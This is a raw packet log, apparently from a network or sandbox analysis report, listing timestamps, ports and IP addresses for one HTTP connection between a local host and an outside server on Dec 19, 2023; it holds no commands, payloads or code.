Dec 19, 2023 03:22:27.208112001 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.208132982 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.208148956 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.208158970 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.208211899 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.208251953 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.208262920 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.208300114 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.208317995 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.208347082 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.208367109 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.208400965 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.208425045 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.208471060 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.208508015 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.208523035 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.208590984 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.208628893 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.208646059 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.208662987 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.208699942 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.208739042 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.208753109 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.208786964 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.208791971 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.208832979 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.208858013 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.208865881 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.208910942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.208929062 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.208962917 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.208998919 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.209012985 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.209049940 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.209057093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.209074974 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.209091902 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.209115028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.209197044 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.209223986 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.209233999 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.209245920 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.209259033 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.209290981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.209310055 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.209331036 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.209371090 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.209412098 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.209430933 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.209454060 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.209471941 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.209506989 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.209520102 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.209554911 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.209563017 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.209583044 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.209619045 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.209660053 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.209702015 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.209742069 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.209778070 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.209805012 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.209841967 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.209865093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.209877968 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.209894896 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.209914923 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.209954977 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.209973097 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.209997892 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.210056067 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.210068941 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.210091114 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.210108042 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.210123062 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.210156918 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.210216045 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.210253000 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.210266113 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.210303068 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.210330963 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.210342884 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.210422993 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.210437059 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.210457087 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.210483074 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.210499048 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.210505962 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.210632086 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.210669041 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.210675001 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.210736990 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.210772991 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.210796118 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.210854053 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.210895061 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.210927963 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.210932016 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.210983038 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.211002111 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.211016893 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.211031914 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.211051941 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.211087942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.211123943 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.211205006 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.211218119 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.211255074 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.211262941 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.211282969 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.211316109 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.211318016 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.211384058 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.211416006 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.211433887 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.211451054 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.211453915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.211477041 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.211520910 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.211539984 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.211571932 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.211631060 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.211652994 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.211689949 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.211746931 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.211759090 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.211781025 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.211781979 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.211838961 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.211872101 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.212023020 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.212044001 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.212081909 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.212112904 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.212152958 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.212155104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.212202072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.212214947 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.212238073 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.212271929 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.212315083 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.212332964 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.212352991 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.212374926 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.212380886 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.212439060 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.212451935 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.212475061 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.212482929 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.212523937 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.212558985 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.212565899 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.212588072 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.212610960 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.212663889 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.212677002 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.212708950 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.212757111 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.212807894 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.212820053 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.212846041 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.212878942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.213016987 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.213040113 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.213080883 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.213085890 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.213129997 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.213169098 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.213181973 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.213198900 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.213212013 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.213232040 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.213316917 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.213359118 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.213366032 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.213475943 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.213516951 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.213519096 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.213535070 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.213551044 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.213588953 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.213609934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.213650942 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.213660955 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.213711977 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.213722944 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.213746071 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.213772058 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.213772058 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.213788986 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.213835001 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.213865995 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.213875055 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.213891029 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.213922024 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.213953018 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.213992119 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.213998079 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.214026928 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.214061975 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.214103937 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.214168072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.214207888 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.214225054 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.214246035 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.214262962 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.214301109 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.214312077 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.214334011 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.214349985 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.214426994 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.214441061 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.214473963 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.214481115 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.214493036 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.214505911 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.214508057 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.214525938 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.214544058 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.214545012 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.214586973 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.214694977 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.215078115 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.215095043 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.215136051 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.215142965 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.215183973 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.215217113 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.215219975 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.215250015 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.215306044 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.215341091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.215358019 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.215379000 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.215421915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.215435028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.215465069 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.215467930 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.215509892 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.215545893 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.215703964 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.215738058 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.215763092 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.215821981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.215864897 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.215893030 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.215908051 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.215950966 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.215974092 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.215986967 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.215997934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.216015100 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.216034889 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.216063976 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.216078997 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.216090918 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.216125011 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.216201067 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.216213942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.216229916 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.216247082 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.216249943 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.216264009 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.216281891 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.216288090 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.216298103 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.216315031 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.216345072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.216356993 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.216392040 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.216680050 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.216696978 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.216736078 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.216810942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.216830969 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.216845989 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.216882944 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.216897964 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.216931105 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.216953039 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.216984034 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.217000961 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.217021942 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.217037916 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.217080116 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.217092991 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.217116117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.217127085 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.217150927 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.217164993 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.217200041 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.217201948 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.217232943 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.217266083 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.217268944 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.217298985 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.217492104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.217571020 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.217581987 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.217596054 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.217608929 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.217638969 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.217643023 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.217655897 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.217698097 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.217768908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.217811108 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.217822075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.217859030 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.217894077 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.217911005 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.217943907 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.217967987 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.218003988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.218004942 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.218020916 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.218050003 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.218086958 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.218096018 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.218107939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.218146086 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.218148947 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.218164921 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.218182087 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.218183994 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.218200922 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.218234062 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.218430996 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.218571901 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.218585014 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.218616009 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.218632936 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.218669891 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.218683958 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.218713045 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.218723059 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.218735933 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.218753099 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.218775034 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.218802929 CET	80	49738	91.215.85.17	192.168.2.4
